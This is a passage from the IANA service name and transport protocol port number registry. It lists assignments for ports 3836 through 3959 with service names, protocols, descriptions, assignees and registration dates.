                                      Service
markem-dcp         3836        tcp    MARKEM NEXTGEN DCP
markem-dcp         3836        udp    MARKEM NEXTGEN DCP
mkm-discovery      3837        tcp    MARKEM Auto-Discovery        [Vadym_Kargin]                                        [Vadym_Kargin]                                            2005-08
mkm-discovery      3837        udp    MARKEM Auto-Discovery        [Vadym_Kargin]                                        [Vadym_Kargin]                                            2005-08
sos                3838        tcp    Scito Object Server          [Arno_Klaassen]                                       [Arno_Klaassen]                                           2003-11
sos                3838        udp    Scito Object Server          [Arno_Klaassen]                                       [Arno_Klaassen]                                           2003-11
amx-rms            3839        tcp    AMX Resource Management      [Ron_Barber]                                          [Ron_Barber]                                              2003-11
                                      Suite
amx-rms            3839        udp    AMX Resource Management      [Ron_Barber]                                          [Ron_Barber]                                              2003-11
                                      Suite
flirtmitmir        3840        tcp    www.FlirtMitMir.de           [Carsten_Falticska]                                   [Carsten_Falticska]                                       2003-11
flirtmitmir        3840        udp    www.FlirtMitMir.de           [Carsten_Falticska]                                   [Carsten_Falticska]                                       2003-11
shiprush-db-svr    3841        tcp    ShipRush Database Server     [Z-Firm_LLC]                                          [Rafael_Zimberoff]                                        2003-11      2014-08-22
                   3841        udp    Reserved                                                                                                                                     2003-11      2014-08-22
nhci               3842        tcp    NHCI status port             [Eric_Welch_2]                                        [Eric_Welch_2]                                            2003-11
nhci               3842        udp    NHCI status port             [Eric_Welch_2]                                        [Eric_Welch_2]                                            2003-11
quest-agent        3843        tcp    Quest Common Agent           [Peter_Maher]                                         [Peter_Maher]                                             2003-11
quest-agent        3843        udp    Quest Common Agent           [Peter_Maher]                                         [Peter_Maher]                                             2003-11
rnm                3844        tcp    RNM                          [sn_w_of_renegade_lab]                                [sn_w_of_renegade_lab]                                    2003-11
rnm                3844        udp    RNM                          [sn_w_of_renegade_lab]                                [sn_w_of_renegade_lab]                                    2003-11
v-one-spp          3845        tcp    V-ONE Single Port Proxy      [Daniel_Becker_3]                                     [Daniel_Becker_3]
v-one-spp          3845        udp    V-ONE Single Port Proxy      [Daniel_Becker_3]                                     [Daniel_Becker_3]
an-pcp             3846        tcp    Astare Network PCP           [Tony_Gulino]                                         [Tony_Gulino]                                             2003-08
an-pcp             3846        udp    Astare Network PCP           [Tony_Gulino]                                         [Tony_Gulino]                                             2003-08
msfw-control       3847        tcp    MS Firewall Control          [Oren_Trutner]                                        [Oren_Trutner]                                            2003-08
msfw-control       3847        udp    MS Firewall Control          [Oren_Trutner]                                        [Oren_Trutner]                                            2003-08
item               3848        tcp    IT Environmental Monitor     [Keith_Wright]                                        [Keith_Wright]                                            2003-08
item               3848        udp    IT Environmental Monitor     [Keith_Wright]                                        [Keith_Wright]                                            2003-08
spw-dnspreload     3849        tcp    SPACEWAY DNS Preload         [Daniel_Friedman]                                     [Daniel_Friedman]                                         2003-08
spw-dnspreload     3849        udp    SPACEWAY DNS Prelaod         [Daniel_Friedman]                                     [Daniel_Friedman]                                         2003-08
qtms-bootstrap     3850        tcp    QTMS Bootstrap Protocol      [Phil_Willis]                                         [Phil_Willis]                                             2003-08
qtms-bootstrap     3850        udp    QTMS Bootstrap Protocol      [Phil_Willis]                                         [Phil_Willis]                                             2003-08
spectraport        3851        tcp    SpectraTalk Port             [Madhav_Karhade]                                      [Madhav_Karhade]                                          2003-08
spectraport        3851        udp    SpectraTalk Port             [Madhav_Karhade]                                      [Madhav_Karhade]                                          2003-08
sse-app-config     3852        tcp    SSE App Configuration        [Tim_Wilson]                                          [Tim_Wilson]                                              2003-08
sse-app-config     3852        udp    SSE App Configuration        [Tim_Wilson]                                          [Tim_Wilson]                                              2003-08
sscan              3853        tcp    SONY scanning protocol       [Takashi_Aihara]                                      [Takashi_Aihara]                                          2003-08
sscan              3853        udp    SONY scanning protocol       [Takashi_Aihara]                                      [Takashi_Aihara]                                          2003-08
stryker-com        3854        tcp    Stryker Comm Port            [Andrew_Schultz]                                      [Andrew_Schultz]                                          2003-08
stryker-com        3854        udp    Stryker Comm Port            [Andrew_Schultz]                                      [Andrew_Schultz]                                          2003-08
opentrac           3855        tcp    OpenTRAC                     [Scott_Miller]                                        [Scott_Miller]                                            2003-08
opentrac           3855        udp    OpenTRAC                     [Scott_Miller]                                        [Scott_Miller]                                            2003-08
informer           3856        tcp    INFORMER                     [Filippo_Fadda]                                       [Filippo_Fadda]                                           2003-08
informer           3856        udp    INFORMER                     [Filippo_Fadda]                                       [Filippo_Fadda]                                           2003-08
trap-port          3857        tcp    Trap Port                    [Norm_Freedman]                                       [Norm_Freedman]                                           2003-08
trap-port          3857        udp    Trap Port                    [Norm_Freedman]                                       [Norm_Freedman]                                           2003-08
trap-port-mom      3858        tcp    Trap Port MOM                [Norm_Freedman]                                       [Norm_Freedman]                                           2003-08
trap-port-mom      3858        udp    Trap Port MOM                [Norm_Freedman]                                       [Norm_Freedman]                                           2003-08
nav-port           3859        tcp    Navini Port                  [Chris_Sanders]                                       [Chris_Sanders]                                           2003-08
nav-port           3859        udp    Navini Port                  [Chris_Sanders]                                       [Chris_Sanders]                                           2003-08
sasp               3860        tcp    Server/Application State     [Alan_Bivens]                                         [Alan_Bivens]                                             2003-08
                                      Protocol (SASP)
sasp               3860        udp    Server/Application State     [Alan_Bivens]                                         [Alan_Bivens]                                             2003-08
                                      Protocol (SASP)
winshadow-hd       3861        tcp    winShadow Host Discovery     [Shu_Wei_Tan]                                         [Shu_Wei_Tan]                                             2003-03
winshadow-hd       3861        udp    winShadow Host Discovery     [Shu_Wei_Tan]                                         [Shu_Wei_Tan]                                             2003-03
giga-pocket        3862        tcp    GIGA-POCKET                  [Yoshikazu_Watanabe]                                  [Yoshikazu_Watanabe]
giga-pocket        3862        udp    GIGA-POCKET                  [Yoshikazu_Watanabe]                                  [Yoshikazu_Watanabe]
asap-tcp           3863        tcp    asap tcp port
asap-udp           3863        udp    asap udp port                                                                                                                                                          [RFC5352]
asap-sctp          3863       sctp    asap sctp                                                                                                                                                              [RFC5352]
asap-tcp-tls       3864        tcp    asap/tls tcp port                                                                                                                                                      [RFC5352]
                   3864        udp    Reserved                                                                                                                                                                                                                                    This entry has been removed on 2006-06-23.
asap-sctp-tls      3864       sctp    asap-sctp/tls                                                                                                                                                          [RFC5352]
xpl                3865        tcp    xpl automation protocol      [Ian_Lowe]                                            [Ian_Lowe]                                                2003-08
xpl                3865        udp    xpl automation protocol      [Ian_Lowe]                                            [Ian_Lowe]                                                2003-08
dzdaemon           3866        tcp    Sun SDViz DZDAEMON Port      [Kevin_Rushforth]                                     [Kevin_Rushforth]                                         2003-08
dzdaemon           3866        udp    Sun SDViz DZDAEMON Port      [Kevin_Rushforth]                                     [Kevin_Rushforth]                                         2003-08
dzoglserver        3867        tcp    Sun SDViz DZOGLSERVER Port   [Kevin_Rushforth]                                     [Kevin_Rushforth]                                         2003-08
dzoglserver        3867        udp    Sun SDViz DZOGLSERVER Port   [Kevin_Rushforth]                                     [Kevin_Rushforth]                                         2003-08
diameter           3868        tcp    DIAMETER
                   3868        udp    Reserved
diameter           3868       sctp    DIAMETER                                                                                                                                                               [RFC3588]
ovsam-mgmt         3869        tcp    hp OVSAM MgmtServer Disco    [Mike_Pontillo]                                       [Mike_Pontillo]                                           2003-08
ovsam-mgmt         3869        udp    hp OVSAM MgmtServer Disco    [Mike_Pontillo]                                       [Mike_Pontillo]                                           2003-08
ovsam-d-agent      3870        tcp    hp OVSAM HostAgent Disco     [Mike_Pontillo]                                       [Mike_Pontillo]                                           2003-08
ovsam-d-agent      3870        udp    hp OVSAM HostAgent Disco     [Mike_Pontillo]                                       [Mike_Pontillo]                                           2003-08
avocent-adsap      3871        tcp    Avocent DS Authorization     [Eduardo_Fernandez]                                   [Eduardo_Fernandez]                                       2003-08
avocent-adsap      3871        udp    Avocent DS Authorization     [Eduardo_Fernandez]                                   [Eduardo_Fernandez]                                       2003-08
oem-agent          3872        tcp    OEM Agent                    [Narain_Jagathesan]                                   [Narain_Jagathesan]                                       2003-11
oem-agent          3872        udp    OEM Agent                    [Narain_Jagathesan]                                   [Narain_Jagathesan]                                       2003-11
fagordnc           3873        tcp    fagordnc                     [Luis_Zugasti]                                        [Luis_Zugasti]                                            2003-11
fagordnc           3873        udp    fagordnc                     [Luis_Zugasti]                                        [Luis_Zugasti]                                            2003-11
sixxsconfig        3874        tcp    SixXS Configuration          [Jeroen_Massar]                                       [Jeroen_Massar]                                           2003-11
sixxsconfig        3874        udp    SixXS Configuration          [Jeroen_Massar]                                       [Jeroen_Massar]                                           2003-11
pnbscada           3875        tcp    PNBSCADA                     [Philip_N_Bergstress]                                 [Philip_N_Bergstress]
pnbscada           3875        udp    PNBSCADA                     [Philip_N_Bergstress]                                 [Philip_N_Bergstress]
                                      DirectoryLockdown Agent

dl-agent           3876        tcp    IANA assigned this           [Jason_Lockett][Melanie_Kacerek]                      [Jason_Lockett][Melanie_Kacerek]                          2008-12-16
                                      well-formed service name as
                                      a replacement for
                                      "dl_agent".
                                                                                                                                                                                                                                                                                  This entry is an alias to "dl-agent". This entry is now
dl_agent           3876        tcp    DirectoryLockdown Agent      [Jason_Lockett][Melanie_Kacerek]                      [Jason_Lockett][Melanie_Kacerek]                          2008-12-16                                                                                     historic, not usable for use with many common service
                                                                                                                                                                                                                                                                                  discovery mechanisms.
                                      DirectoryLockdown Agent

dl-agent           3876        udp    IANA assigned this           [Jason_Lockett][Melanie_Kacerek]                      [Jason_Lockett][Melanie_Kacerek]                          2008-12-16
                                      well-formed service name as
                                      a replacement for
                                      "dl_agent".
                                                                                                                                                                                                                                                                                  This entry is an alias to "dl-agent". This entry is now
dl_agent           3876        udp    DirectoryLockdown Agent      [Jason_Lockett][Melanie_Kacerek]                      [Jason_Lockett][Melanie_Kacerek]                          2008-12-16                                                                                     historic, not usable for use with many common service
                                                                                                                                                                                                                                                                                  discovery mechanisms.
xmpcr-interface    3877        tcp    XMPCR Interface Port         [Christopher_Carlson]                                 [Christopher_Carlson]                                     2003-10
xmpcr-interface    3877        udp    XMPCR Interface Port         [Christopher_Carlson]                                 [Christopher_Carlson]                                     2003-10
fotogcad           3878        tcp    FotoG CAD interface          [Jason_Szabo]                                         [Jason_Szabo]                                             2003-10
fotogcad           3878        udp    FotoG CAD interface          [Jason_Szabo]                                         [Jason_Szabo]                                             2003-10
appss-lm           3879        tcp    appss license manager        [Peter_Krueger]                                       [Peter_Krueger]                                           2003-10
appss-lm           3879        udp    appss license manager        [Peter_Krueger]                                       [Peter_Krueger]                                           2003-10
igrs               3880        tcp    IGRS                         [Huang_Jingnan]                                       [Huang_Jingnan]                                           2003-10
igrs               3880        udp    IGRS                         [Huang_Jingnan]                                       [Huang_Jingnan]                                           2003-10
idac               3881        tcp    Data Acquisition and Control [Chatziandreoglou_Chr]                                [Chatziandreoglou_Chr]                                    2003-10
idac               3881        udp    Data Acquisition and Control [Chatziandreoglou_Chr]                                [Chatziandreoglou_Chr]                                    2003-10
msdts1             3882        tcp    DTS Service Port             [Sergei_Ivanov]                                       [Sergei_Ivanov]                                           2003-10
msdts1             3882        udp    DTS Service Port             [Sergei_Ivanov]                                       [Sergei_Ivanov]                                           2003-10
vrpn               3883        tcp    VR Peripheral Network        [Sensics]                                             [Yuval_Boger]                                             2003-10      2015-05-04
vrpn               3883        udp    VR Peripheral Network        [Sensics]                                             [Yuval_Boger]                                             2003-10      2015-05-04
softrack-meter     3884        tcp    SofTrack Metering            [John_T_McCann]                                       [John_T_McCann]                                           2003-10
softrack-meter     3884        udp    SofTrack Metering            [John_T_McCann]                                       [John_T_McCann]                                           2003-10
topflow-ssl        3885        tcp    TopFlow SSL                  [Ken_Nelson]                                          [Ken_Nelson]
topflow-ssl        3885        udp    TopFlow SSL                  [Ken_Nelson]                                          [Ken_Nelson]
nei-management     3886        tcp    NEI management port          [Kevin_Murphy_2]                                      [Kevin_Murphy_2]                                          2003-10
nei-management     3886        udp    NEI management port          [Kevin_Murphy_2]                                      [Kevin_Murphy_2]                                          2003-10
ciphire-data       3887        tcp    Ciphire Data Transport       [Lars_Eilebrecht]                                     [Lars_Eilebrecht]                                         2003-10
ciphire-data       3887        udp    Ciphire Data Transport       [Lars_Eilebrecht]                                     [Lars_Eilebrecht]                                         2003-10
ciphire-serv       3888        tcp    Ciphire Services             [Lars_Eilebrecht]                                     [Lars_Eilebrecht]                                         2003-10
ciphire-serv       3888        udp    Ciphire Services             [Lars_Eilebrecht]                                     [Lars_Eilebrecht]                                         2003-10
dandv-tester       3889        tcp    D and V Tester Control Port  [Voiko_Loukanov]                                      [Voiko_Loukanov]                                          2003-10
dandv-tester       3889        udp    D and V Tester Control Port  [Voiko_Loukanov]                                      [Voiko_Loukanov]                                          2003-10
ndsconnect         3890        tcp    Niche Data Server Connect    [Roland_Schneider]                                    [Roland_Schneider]                                        2003-10
ndsconnect         3890        udp    Niche Data Server Connect    [Roland_Schneider]                                    [Roland_Schneider]                                        2003-10
rtc-pm-port        3891        tcp    Oracle RTC-PM port           [PV_Shivkumar]                                        [PV_Shivkumar]                                            2003-10
rtc-pm-port        3891        udp    Oracle RTC-PM port           [PV_Shivkumar]                                        [PV_Shivkumar]                                            2003-10
pcc-image-port     3892        tcp    PCC-image-port               [Shiro_Tamoto]                                        [Shiro_Tamoto]                                            2003-10
pcc-image-port     3892        udp    PCC-image-port               [Shiro_Tamoto]                                        [Shiro_Tamoto]                                            2003-10
cgi-starapi        3893        tcp    CGI StarAPI Server           [Garry_Moore]                                         [Garry_Moore]                                             2003-10
cgi-starapi        3893        udp    CGI StarAPI Server           [Garry_Moore]                                         [Garry_Moore]                                             2003-10
syam-agent         3894        tcp    SyAM Agent Port              [Michael_Daniele]                                     [Michael_Daniele]                                         2003-10
syam-agent         3894        udp    SyAM Agent Port              [Michael_Daniele]                                     [Michael_Daniele]                                         2003-10
syam-smc           3895        tcp    SyAm SMC Service Port        [Michael_Daniele]                                     [Michael_Daniele]                                         2003-10
syam-smc           3895        udp    SyAm SMC Service Port        [Michael_Daniele]                                     [Michael_Daniele]                                         2003-10
sdo-tls            3896        tcp    Simple Distributed Objects   [Alexander_Philippou]                                 [Alexander_Philippou]                                     2003-10
                                      over TLS
sdo-tls            3896        udp    Simple Distributed Objects   [Alexander_Philippou]                                 [Alexander_Philippou]                                     2003-10
                                      over TLS
sdo-ssh            3897        tcp    Simple Distributed Objects   [Alexander_Philippou]                                 [Alexander_Philippou]                                     2003-10
                                      over SSH
sdo-ssh            3897        udp    Simple Distributed Objects   [Alexander_Philippou]                                 [Alexander_Philippou]                                     2003-10
                                      over SSH
senip              3898        tcp    IAS, Inc. SmartEye NET       [Matt_Nowicki]                                        [Matt_Nowicki]                                            2003-10
                                      Internet Protocol
senip              3898        udp    IAS, Inc. SmartEye NET       [Matt_Nowicki]                                        [Matt_Nowicki]                                            2003-10
                                      Internet Protocol
itv-control        3899        tcp    ITV Port                     [Alex_Nicu]                                           [Alex_Nicu]                                               2003-10
itv-control        3899        udp    ITV Port                     [Alex_Nicu]                                           [Alex_Nicu]                                               2003-10
                                      Unidata UDT OS

udt-os             3900        tcp    IANA assigned this           [James_Powell]                                        [James_Powell]
                                      well-formed service name as
                                      a replacement for "udt_os".
                                                                                                                                                                                                                                                                                  This entry is an alias to "udt-os". This entry is now
udt_os             3900        tcp    Unidata UDT OS               [James_Powell]                                        [James_Powell]                                                                                                                                           historic, not usable for use with many common service
                                                                                                                                                                                                                                                                                  discovery mechanisms.
                                      Unidata UDT OS

udt-os             3900        udp    IANA assigned this           [James_Powell]                                        [James_Powell]
                                      well-formed service name as
                                      a replacement for "udt_os".
                                                                                                                                                                                                                                                                                  This entry is an alias to "udt-os". This entry is now
udt_os             3900        udp    Unidata UDT OS               [James_Powell]                                        [James_Powell]                                                                                                                                           historic, not usable for use with many common service
                                                                                                                                                                                                                                                                                  discovery mechanisms.
nimsh              3901        tcp    NIM Service Handler          [Paul_B_Finley]                                       [Paul_B_Finley]                                           2003-10
nimsh              3901        udp    NIM Service Handler          [Paul_B_Finley]                                       [Paul_B_Finley]                                           2003-10
nimaux             3902        tcp    NIMsh Auxiliary Port         [Paul_B_Finley]                                       [Paul_B_Finley]                                           2003-10
nimaux             3902        udp    NIMsh Auxiliary Port         [Paul_B_Finley]                                       [Paul_B_Finley]                                           2003-10
charsetmgr         3903        tcp    CharsetMGR                   [Tatsuya_Ueda]                                        [Tatsuya_Ueda]                                            2003-10
charsetmgr         3903        udp    CharsetMGR                   [Tatsuya_Ueda]                                        [Tatsuya_Ueda]                                            2003-10
omnilink-port      3904        tcp    Arnet Omnilink Port          [Ronen_Shaul]                                         [Ronen_Shaul]                                             2003-10
omnilink-port      3904        udp    Arnet Omnilink Port          [Ronen_Shaul]                                         [Ronen_Shaul]                                             2003-10
mupdate            3905        tcp    Mailbox Update (MUPDATE)                                                                                                                                               [RFC3656]
                                      protocol
mupdate            3905        udp    Mailbox Update (MUPDATE)                                                                                                                                               [RFC3656]
                                      protocol
topovista-data     3906        tcp    TopoVista elevation data     [Gregg_Townsend]                                      [Gregg_Townsend]                                          2003-11
topovista-data     3906        udp    TopoVista elevation data     [Gregg_Townsend]                                      [Gregg_Townsend]                                          2003-11
imoguia-port       3907        tcp    Imoguia Port                 [Emidio_Cunha]                                        [Emidio_Cunha]                                            2003-11
imoguia-port       3907        udp    Imoguia Port                 [Emidio_Cunha]                                        [Emidio_Cunha]                                            2003-11
hppronetman        3908        tcp    HP Procurve NetManagement    [Devon_Dawson]                                        [Devon_Dawson]                                            2003-11
hppronetman        3908        udp    HP Procurve NetManagement    [Devon_Dawson]                                        [Devon_Dawson]                                            2003-11
surfcontrolcpa     3909        tcp    SurfControl CPA              [Hywel_Morgan]                                        [Hywel_Morgan]                                            2003-11
surfcontrolcpa     3909        udp    SurfControl CPA              [Hywel_Morgan]                                        [Hywel_Morgan]                                            2003-11
prnrequest         3910        tcp    Printer Request Port         [Brett_Green]                                         [Brett_Green]                                             2003-11
prnrequest         3910        udp    Printer Request Port         [Brett_Green]                                         [Brett_Green]                                             2003-11
prnstatus          3911        tcp    Printer Status Port          [Brett_Green]                                         [Brett_Green]                                             2003-11
prnstatus          3911        udp    Printer Status Port          [Brett_Green]                                         [Brett_Green]                                             2003-11
gbmt-stars         3912        tcp    Global Maintech Stars        [Harry_Goldschmitt]                                   [Harry_Goldschmitt]                                       2003-11
gbmt-stars         3912        udp    Global Maintech Stars        [Harry_Goldschmitt]                                   [Harry_Goldschmitt]                                       2003-11
listcrt-port       3913        tcp    ListCREATOR Port             [Tomokazu_Asai]                                       [Tomokazu_Asai]                                           2003-11
listcrt-port       3913        udp    ListCREATOR Port             [Tomokazu_Asai]                                       [Tomokazu_Asai]                                           2003-11
listcrt-port-2     3914        tcp    ListCREATOR Port 2           [Tomokazu_Asai]                                       [Tomokazu_Asai]                                           2003-11
listcrt-port-2     3914        udp    ListCREATOR Port 2           [Tomokazu_Asai]                                       [Tomokazu_Asai]                                           2003-11
agcat              3915        tcp    Auto-Graphics Cataloging     [Paul_Cope]                                           [Paul_Cope]                                               2003-11
agcat              3915        udp    Auto-Graphics Cataloging     [Paul_Cope]                                           [Paul_Cope]                                               2003-11
wysdmc             3916        tcp    WysDM Controller             [Jim_McDonald_2]                                      [Jim_McDonald_2]                                          2003-11
wysdmc             3916        udp    WysDM Controller             [Jim_McDonald_2]                                      [Jim_McDonald_2]                                          2003-11
aftmux             3917        tcp    AFT multiplex port           [Alfred_Schmidt]                                      [Alfred_Schmidt]                                          2003-11
aftmux             3917        udp    AFT multiples port           [Alfred_Schmidt]                                      [Alfred_Schmidt]                                          2003-11
pktcablemmcops     3918        tcp    PacketCableMultimediaCOPS    [Eric_Rosenfeld]                                      [Eric_Rosenfeld]                                          2003-11
pktcablemmcops     3918        udp    PacketCableMultimediaCOPS    [Eric_Rosenfeld]                                      [Eric_Rosenfeld]                                          2003-11
hyperip            3919        tcp    HyperIP                      [Network_Executive_Software_Inc]                      [Nancy_Golio]                                             2003-11      2017-01-25
hyperip            3919        udp    HyperIP                      [Network_Executive_Software_Inc]                      [Nancy_Golio]                                             2003-11      2017-01-25
exasoftport1       3920        tcp    Exasoft IP Port              [Alan_Malik]                                          [Alan_Malik]                                              2003-11
exasoftport1       3920        udp    Exasoft IP Port              [Alan_Malik]                                          [Alan_Malik]                                              2003-11
herodotus-net      3921        tcp    Herodotus Net                [Adam_Gawne_Cain]                                     [Adam_Gawne_Cain]                                         2003-11
herodotus-net      3921        udp    Herodotus Net                [Adam_Gawne_Cain]                                     [Adam_Gawne_Cain]                                         2003-11
sor-update         3922        tcp    Soronti Update Port          [Carleton_Watkins]                                    [Carleton_Watkins]                                        2003-11
sor-update         3922        udp    Soronti Update Port          [Carleton_Watkins]                                    [Carleton_Watkins]                                        2003-11
symb-sb-port       3923        tcp    Symbian Service Broker       [Ian_McDowall]                                        [Ian_McDowall]                                            2003-11
symb-sb-port       3923        udp    Symbian Service Broker       [Ian_McDowall]                                        [Ian_McDowall]                                            2003-11
mpl-gprs-port      3924        tcp    MPL_GPRS_PORT                [David_Barrass_2]                                     [David_Barrass_2]                                         2003-11
mpl-gprs-port      3924        udp    MPL_GPRS_Port                [David_Barrass_2]                                     [David_Barrass_2]                                         2003-11
zmp                3925        tcp    Zoran Media Port             [Gerard_Cerchio]                                      [Gerard_Cerchio]                                          2003-11
zmp                3925        udp    Zoran Media Port             [Gerard_Cerchio]                                      [Gerard_Cerchio]                                          2003-11
winport            3926        tcp    WINPort                      [Alwin_Egger]                                         [Alwin_Egger]                                             2003-11
winport            3926        udp    WINPort                      [Alwin_Egger]                                         [Alwin_Egger]                                             2003-11
natdataservice     3927        tcp    ScsTsr                       [Ghanshyam_Patel]                                     [Ghanshyam_Patel]                                         2003-11
natdataservice     3927        udp    ScsTsr                       [Ghanshyam_Patel]                                     [Ghanshyam_Patel]                                         2003-11
netboot-pxe        3928        tcp    PXE NetBoot Manager          [Markus_Treinen]                                      [Markus_Treinen]                                          2003-11
netboot-pxe        3928        udp    PXE NetBoot Manager          [Markus_Treinen]                                      [Markus_Treinen]                                          2003-11
smauth-port        3929        tcp    AMS Port                     [Angelique_Dokos]                                     [Angelique_Dokos]                                         2003-11
smauth-port        3929        udp    AMS Port                     [Angelique_Dokos]                                     [Angelique_Dokos]                                         2003-11
syam-webserver     3930        tcp    Syam Web Server Port         [Michael_Daniele]                                     [Michael_Daniele]                                         2003-11
syam-webserver     3930        udp    Syam Web Server Port         [Michael_Daniele]                                     [Michael_Daniele]                                         2003-11
msr-plugin-port    3931        tcp    MSR Plugin Port              [Ron_Steed]                                           [Ron_Steed]                                               2003-11
msr-plugin-port    3931        udp    MSR Plugin Port              [Ron_Steed]                                           [Ron_Steed]                                               2003-11
dyn-site           3932        tcp    Dynamic Site System          [Steve_Qi]                                            [Steve_Qi]                                                2003-11
dyn-site           3932        udp    Dynamic Site System          [Steve_Qi]                                            [Steve_Qi]                                                2003-11
plbserve-port      3933        tcp    PL/B App Server User Port    [Edward_R_Boedecker]                                  [Edward_R_Boedecker]                                      2003-11
plbserve-port      3933        udp    PL/B App Server User Port    [Edward_R_Boedecker]                                  [Edward_R_Boedecker]                                      2003-11
sunfm-port         3934        tcp    PL/B File Manager Port       [Edward_R_Boedecker]                                  [Edward_R_Boedecker]                                      2003-11
sunfm-port         3934        udp    PL/B File Manager Port       [Edward_R_Boedecker]                                  [Edward_R_Boedecker]                                      2003-11
sdp-portmapper     3935        tcp    SDP Port Mapper Protocol     [James_Pinkerton]                                     [James_Pinkerton]                                         2003-11
sdp-portmapper     3935        udp    SDP Port Mapper Protocol     [James_Pinkerton]                                     [James_Pinkerton]                                         2003-11
mailprox           3936        tcp    Mailprox                     [Christof_Drescher]                                   [Christof_Drescher]                                       2003-11
mailprox           3936        udp    Mailprox                     [Christof_Drescher]                                   [Christof_Drescher]                                       2003-11
dvbservdsc         3937        tcp    DVB Service Discovery        [Bert_van_Willigen][Peter_MacAvock]                   [Bert_van_Willigen][Peter_MacAvock]                       2003-11
dvbservdsc         3937        udp    DVB Service Discovery        [Bert_van_Willigen][Peter_MacAvock]                   [Bert_van_Willigen][Peter_MacAvock]                       2003-11
                                      Oracle dbControl Agent po

dbcontrol-agent    3938        tcp    IANA assigned this           [Todd_Guay]                                           [Todd_Guay]                                               2003-11
                                      well-formed service name as
                                      a replacement for
                                      "dbcontrol_agent".
                                                                                                                                                                                                                                                                                  This entry is an alias to "dbcontrol-agent". This entry is
dbcontrol_agent    3938        tcp    Oracle dbControl Agent po    [Todd_Guay]                                           [Todd_Guay]                                               2003-11                                                                                        now historic, not usable for use with many common service
                                                                                                                                                                                                                                                                                  discovery mechanisms.
                                      Oracel dbControl Agent po

dbcontrol-agent    3938        udp    IANA assigned this           [Todd_Guay]                                           [Todd_Guay]                                               2003-11
                                      well-formed service name as
                                      a replacement for
                                      "dbcontrol_agent".
                                                                                                                                                                                                                                                                                  This entry is an alias to "dbcontrol-agent". This entry is
dbcontrol_agent    3938        udp    Oracel dbControl Agent po    [Todd_Guay]                                           [Todd_Guay]                                               2003-11                                                                                        now historic, not usable for use with many common service
                                                                                                                                                                                                                                                                                  discovery mechanisms.
aamp               3939        tcp    Anti-virus Application       [In_sik_Choi]                                         [In_sik_Choi]                                             2002-02
                                      Management Port
aamp               3939        udp    Anti-virus Application       [In_sik_Choi]                                         [In_sik_Choi]                                             2002-02
                                      Management Port
xecp-node          3940        tcp    XeCP Node Service            [Brent_McCullough]                                    [Brent_McCullough]                                        2003-11
xecp-node          3940        udp    XeCP Node Service            [Brent_McCullough]                                    [Brent_McCullough]                                        2003-11
homeportal-web     3941        tcp    Home Portal Web Server       [Christian_Beaumont]                                  [Christian_Beaumont]                                      2003-11
homeportal-web     3941        udp    Home Portal Web Server       [Christian_Beaumont]                                  [Christian_Beaumont]                                      2003-11
srdp               3942        tcp    satellite distribution       [Simone_Molendini]                                    [Simone_Molendini]                                        2003-11
srdp               3942        udp    satellite distribution       [Simone_Molendini]                                    [Simone_Molendini]                                        2003-11
tig                3943        tcp    TetraNode Ip Gateway         [B_van_Klinken]                                       [B_van_Klinken]                                           2003-12
tig                3943        udp    TetraNode Ip Gateway         [B_van_Klinken]                                       [B_van_Klinken]                                           2003-12
sops               3944        tcp    S-Ops Management             [Stefan_Hochuli]                                      [Stefan_Hochuli]                                          2003-12
sops               3944        udp    S-Ops Management             [Stefan_Hochuli]                                      [Stefan_Hochuli]                                          2003-12
emcads             3945        tcp    EMCADS Server Port           [Lars_Struwe_Christen]                                [Lars_Struwe_Christen]                                    2004-01
emcads             3945        udp    EMCADS Server Port           [Lars_Struwe_Christen]                                [Lars_Struwe_Christen]                                    2004-01
backupedge         3946        tcp    BackupEDGE Server            [Microlite_Corporation]                               [D_Thomas_Podnar]                                         2004-06
backupedge         3946        udp    BackupEDGE Server            [Microlite_Corporation]                               [D_Thomas_Podnar]                                         2004-06
                                      Connect and Control Protocol
ccp                3947        tcp    for Consumer, Commercial,    [Aaron_Myer]                                          [Aaron_Myer]                                              2004-06
                                      and Industrial Electronic
                                      Devices
                                      Connect and Control Protocol
ccp                3947        udp    for Consumer, Commercial,    [Aaron_Myer]                                          [Aaron_Myer]                                              2004-06
                                      and Industrial Electronic
                                      Devices
apdap              3948        tcp    Anton Paar Device            [Martin_Leitner]                                      [Martin_Leitner]                                          2004-06
                                      Administration Protocol
apdap              3948        udp    Anton Paar Device            [Martin_Leitner]                                      [Martin_Leitner]                                          2004-06
                                      Administration Protocol
drip               3949        tcp    Dynamic Routing Information  [Dana_Blair]                                          [Dana_Blair]                                              2004-06
                                      Protocol
drip               3949        udp    Dynamic Routing Information  [Dana_Blair]                                          [Dana_Blair]                                              2004-06
                                      Protocol
namemunge          3950        tcp    Name Munging                 [John_C_Klensin]                                      [John_C_Klensin]                                          2004-07
namemunge          3950        udp    Name Munging                 [John_C_Klensin]                                      [John_C_Klensin]                                          2004-07
pwgippfax          3951        tcp    PWG IPP Facsimile            [Ira_McDonald]                                        [Ira_McDonald]                                            2004-08
pwgippfax          3951        udp    PWG IPP Facsimile            [Ira_McDonald]                                        [Ira_McDonald]                                            2004-08
i3-sessionmgr      3952        tcp    I3 Session Manager           [Mike_Gagle_2]                                        [Mike_Gagle_2]                                            2004-08
i3-sessionmgr      3952        udp    I3 Session Manager           [Mike_Gagle_2]                                        [Mike_Gagle_2]                                            2004-08
xmlink-connect     3953        tcp    Eydeas XMLink Connect        [David_Crewson]                                       [David_Crewson]                                           2004-09
xmlink-connect     3953        udp    Eydeas XMLink Connect        [David_Crewson]                                       [David_Crewson]                                           2004-09
adrep              3954        tcp    AD Replication RPC           [Robert_Ball]                                         [Robert_Ball]                                             2008-03-26
adrep              3954        udp    AD Replication RPC           [Robert_Ball]                                         [Robert_Ball]                                             2008-03-26
p2pcommunity       3955        tcp    p2pCommunity                 [Tiago_Bittencourt_Si]                                [Tiago_Bittencourt_Si]                                    2005-08
p2pcommunity       3955        udp    p2pCommunity                 [Tiago_Bittencourt_Si]                                [Tiago_Bittencourt_Si]                                    2005-08
gvcp               3956        tcp    GigE Vision Control          [Eric_Carey]                                          [Eric_Carey]                                              2005-08
gvcp               3956        udp    GigE Vision Control          [Eric_Carey]                                          [Eric_Carey]                                              2005-08
mqe-broker         3957        tcp    MQEnterprise Broker
mqe-broker         3957        udp    MQEnterprise Broker
mqe-agent          3958        tcp    MQEnterprise Agent           [Bob_Lauria]                                          [Bob_Lauria]                                              2005-08
mqe-agent          3958        udp    MQEnterprise Agent           [Bob_Lauria]                                          [Bob_Lauria]                                              2005-08
treehopper         3959        tcp    Tree Hopper Networking       [Gary_Whelan]                                         [Gary_Whelan]                                             2005-08
treehopper         3959        udp    Tree Hopper Networking       [Gary_Whelan]                                         [Gary_Whelan]                                             2005-08
